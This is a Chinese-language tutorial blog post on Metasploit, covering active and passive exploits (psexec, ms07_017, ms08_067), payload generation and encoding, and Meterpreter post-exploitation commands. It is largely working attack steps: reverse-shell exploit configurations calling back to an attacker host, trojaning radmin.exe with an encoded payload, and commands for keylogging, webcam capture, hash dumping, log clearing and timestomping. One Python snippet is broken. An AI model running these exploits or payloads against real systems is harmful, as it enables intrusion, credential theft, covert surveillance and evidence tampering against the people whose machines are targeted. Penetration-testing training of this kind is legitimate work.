【kali】Mestasploit——基本使用2、Exploit模块、playload、metepreter
这里写自定义目录标题
- Exploit模块
- 1. Active exploit
- psexec
- 2. Passive Exploits
- payload
- 1. 用法
- 2. 自动绕过坏字符
- 3. 手动指定编码模块
- 4. 注入文件
- 5. NOP
- metepreter
- 1. 简介
- 2.使用
- 核心命令
- 文件系统命令
- 网络命令
- 系统命令
- 用户界面命令
- Webcam 命令
- Elevate Commands
- Priv: 密码数据库命令
- Priv: Timestomp 命令
- Meterpreter python 扩展
- msfcli (界面
Exploit模块
1. Active exploit
攻击者主动连接受害者
payload发给受害者执行
psexec
use exploit/windows/smb/psexec# 基于smb协议
# 需要目标机的权限
# 利用psexec模块
# 在132上执行该模块的payload后将shell反弹给161kali的4444端口set RHOST 192.168.98.131
set SMBUser grb
set SMBPass grb
set payload windows/shell/reverse_tcp# 设置攻击机IP
set lhost 192.168.98.161show options
# 在132上执行该模块的payload后将shell反弹给161kali的4444端口exploitsessions -i 1 # 进入shell
2. Passive Exploits
攻击者等待受害者来触发连接,反弹到攻击者
payload在攻击者,等待受害者触发
# winXP sp2
# 打开XP的防火墙
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /
set SRVHOST 0.0.0.0
set PAYLOAD windows/shell/reverse_tcp
set EXITFUNC thread
set LHOST 192.168.98.161
set LPORT 4444
exploit
payload
1. 用法
msf > search ms08-067
msf > use payload/windows/shell/bind_tcp
msf payload(windows/shell/bind_tcp) > generate #获得shellcode
msf payload(windows/shell/bind_tcp) > generate -hUsage: generate [options]Generates a payload.OPTIONS:-E 强制编码。-b <opt> 要避免的字符列表:'\ x00 \ xff'-e <opt> 要使用的编码器模块的名称。-f <opt> 输出文件名(否则为stdout)-h 帮助横幅。-i <opt> 编码迭代的次数。-k 保持模板可执行的功能-o <opt> 以VAR = VAL格式逗号分隔的选项列表。-p <opt> 输出平台-s <opt> NOP sled length.-t <opt> 输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war-x <opt> 要使用的可执行模板msf payload(windows/shell/bind_tcp) > generate
2. 自动绕过坏字符
msf payload(windows/shell/bind_tcp) > generate -b '\x00'
msf payload(windows/shell/bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
3. 手动指定编码模块
msf payload(windows/shell/bind_tcp) > show encoders
4. 注入文件
msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
5. NOP
no-operation / Next Operation (无任何操作)
EIP 返回存储 NOP sled 的任意地址时将递增,最终导致 shellcode 执行
增加一行 EOP
msf payload(windows/shell/bind_tcp) > generate -s 14
metepreter
1. 简介
- 高级、动态、可扩展的 payload
基于 metepreter 上下文利用更多漏洞发起攻击
后渗透测试阶段一站式操作界面
- 完全基于内存的 DLL 注入式 payload (不写硬盘)
注入合法系统进程并建立 stager
基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
利用 TLS
隧道进一步加载后续扩展模块(避免网络取证)
服务端使用 c 语言编写
客户端提供基于 ruby 的全特性 API(支持任何语言)
2.使用
root@kali:~# cat metepreter.rb
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.
set LHOST 192.168.
run
核心命令
meterpreter > help核心命令
=============命令 描述------- -----------? 帮助菜单background 背景当前会话bgkill 杀死一个背景meterpreter脚本bglist 列出运行后台脚本bgrun 执行一个meterpreter脚本作为后台线程channel 显示信息或控制活动频道close 关闭频道disable_unicode_encoding 禁用unicode字符串的编码enable_unicode_encoding 启用unicode字符串的编码exit 终止meterpreter会话get_timeouts 获取当前会话超时值guid 获取会话GUIDhelp 帮助菜单info 显示有关Post模块的信息irb 进入irb脚本模式load 加载一个或多个meterpreter扩展machine_id 获取连接到会话的计算机的MSF IDmigrate 将服务器迁移到另一个进程pivot 管理数据透视监听器quit 终止meterpreter会话read 从频道读取数据resource 运行存储在文件中的命令run 执行meterpreter脚本或Post模块sessions 快速切换到另一个会话set_timeouts 设置当前会话超时值sleep Force Meterpreter安静,然后重新建立会话。transport 更改当前的传输机制use 不推荐使用“加载”别名uuid 获取当前会话的UUIDwrite 将数据写入通道
文件系统命令
命令 描述
------- -----------
cat 将文件的内容读取到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
dir 列表文件(ls的别名)
download 下载文件或目录
edit 编辑一个文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 建立目录
mv 将源移到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有安装点/逻辑驱动器
upload 上传文件或目录
网络命令
命令 描述
------- -----------
arp 显示主机ARP缓存
getproxy 显示当前的代理配置
ifconfig 显示界面
ipconfig 显示界面
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
系统命令
Command Description
------- -----------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行一个命令
getenv 获取一个或多个环境变量值
getpid 获取当前的进程标识符
getprivs 尝试启用当前进程可用的所有权限
getsid 获取运行服务器的用户的SID
getuid 获取服务器正在运行的用户
kill 终止一个过程
localtime 显示目标系统的本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出运行的进程
reboot 重新启动远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用RevertToSelf()
shell 放入系统命令外壳
shutdown 关闭远程计算机
steal_token 尝试从目标进程中盗取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如OS
用户界面命令
命令 描述------- -----------enumdesktops 列出所有可访问的桌面和窗口工作站getdesktop 获取当前meterpreter桌面idletime 返回远程用户闲置的秒数keyscan_dump 转储按键缓冲区keyscan_start 开始捕捉击键keyscan_stop 停止捕获击键screenshot 获取交互式桌面的屏幕截图setdesktop 更改meterpreters当前桌面uictl 控制一些用户界面组件
Webcam 命令
命令 描述
------- -----------
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的摄像头拍摄快照
webcam_stream 从指定的摄像头播放视频流
Elevate Commands
命令 描述
------- -----------
getsystem 尝试将您的特权提升为本地系统的特权。
Priv: 密码数据库命令
命令 描述
------- -----------
hashdump 转储SAM数据库的内容
Priv: Timestomp 命令
命令 描述
------- -----------
timestomp 操纵文件MACE属性
Meterpreter python 扩展
2015 年11月份,来自社区贡献
无需运行环境,在客户端运行原生 python 代码
使用:需要先load
meterpreter > load python
meterpreter > python_execute "print ('asdasdas')"
meterpreter > python_execute "import os; cd = os.getcwd()" -r cdroot@kali:~# cat find2.py
import os
for root,dirs,files in os.walk(c://*):for file in files:if file.endwith(".ini" ) and file.startwith("win"):print(os.path.john(root,file))
python_import -f find.py
msfcli (界面
- 2015 年6月已经被取消
- 由 msfconsole -x 取代
- 编写脚本时便于引用
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit"
【kali】Mestasploit——基本使用2、Exploit模块、playload、metepreter相关推荐
- MSF——基本使用和Exploit模块(一)
MSF系列: MSF--基本使用和Exploit模块(一) MSF--Payload模块(二) MSF--Meterpreter(三) MSF--信息收集(四) MSF--Metasploit Fra ...
- metasploit 中 exploit模块check方法简介
Exploit模块的check方法用来检测一台远程主机是否有漏洞能够被利用. check方法默认的实施仅返回check方法不被Exploit模块支持. 当然,一个完整的代码能够从check方法返回如下 ...
- Kali渗透测试:使用browser_autopwn2模块进行渗透攻击
Kali渗透测试:使用browser_autopwn2模块进行渗透攻击 如果觉得一个一个地选择模块很麻烦, 也可以使用browser_autopwn模块.这种攻击的思路是渗透者构造一个攻击用的Web服 ...
- 4. Metasploit之Exploit模块
再学Metasploit 之前学习的Metasploit没有写笔记都忘掉了,这次叫完整的学习内容记录下来 1. Active Exploit 主动的 某种服务器开放的端口,攻击者主动发起漏洞利用代码, ...
- Kali linux 2016.2(Rolling)中的payloads模块详解
payloads模块,也就是shellcode,就是在漏洞利用成功后所要做的事情.在MSF中为我们提供了大量的实用payloads. 当我们执行 Show payloads命令后,显示3列,分别为Ex ...
- Kali Linux渗透测试 142 Mestasploit 基本使用
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 Kali Linux渗透测试(苑房弘)博客记录 1. ...
- Kali Linux 渗透测试 博客记录
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...
- [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- Kali Linux 网络扫描秘籍 第八章 自动化 Kali 工具
第八章 自动化 Kali 工具 作者:Justin Hutchens 译者:飞龙 协议:CC BY-NC-SA 4.0 Kali Linux 渗透测试平台提供了大量高效的工具,来完成企业渗透测试中所需 ...
最新文章
- Windows 10升级1909之后,很多软件不支持高分辨率而造成字体过小
- [剑指offer]面试题第[53-1]题[JAVA][在排序数组中查找数字-1][二分法][暴力法]
- 2017年php还能火多久,PHP还会火吗?
- html5滑动删除置顶,html5向左滑动删除特效
- 因子分析——matlab
- java计算器如何实现运算_用java编写了一个模拟计算器的界面设计,怎么实现运算功能呢...
- ASP.NET Web开发框架之八 所有ERP部分的源代码全部开放下载
- LSTM 文本分类模型的实现
- [转]coolfire黑客入门教程系列之(二)
- Java重命名文件的方法_java重命名文件(附道客巴巴文档下载方法)
- php图片不存在输出默认图片,JS图片加载失败显示默认图片
- Hive:常用系统函数-聚合函数
- 双网络安全nvr/布控球,可双向同时接入国网B接口视频监控平台和国标28181平台
- java美团购物车,仿美团详情页与购物车源码-订单页
- js数组与字符串的相互转化
- 计算机应用数学哪里可以学,计算机应用数学
- SIL9687读数据手册零碎笔记
- mysql for mac 10.12_mac 10.12 版本 安装mysql - sylvia的博客
- 盛志凡:TVOS技术解读
- vba 全拼_EXCEL中直接把中文转换成拼音全拼
热门文章
- 多棱柱(可以自己设置多少条边)
- 一文学透设计模式——抽象工厂模式
- Linux 常用基本命令 which
- 解决CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://mirrors.tuna.tsinghua.edu.cn/anaconda/
- java der 解码_如何解码Java中的.csr文件以提取其内容
- 证书相关:rsa、crt文件、key文件、csr文件
- 策略伙伴:挖掘咨询公司的力量,推动企业增长
- 《大话设计模式》之--第17章 在NBA我需要翻译----适配器模式
- 如何获取.JTL文件
- 高性能goroutine池---ants(2.5.0) 源码解析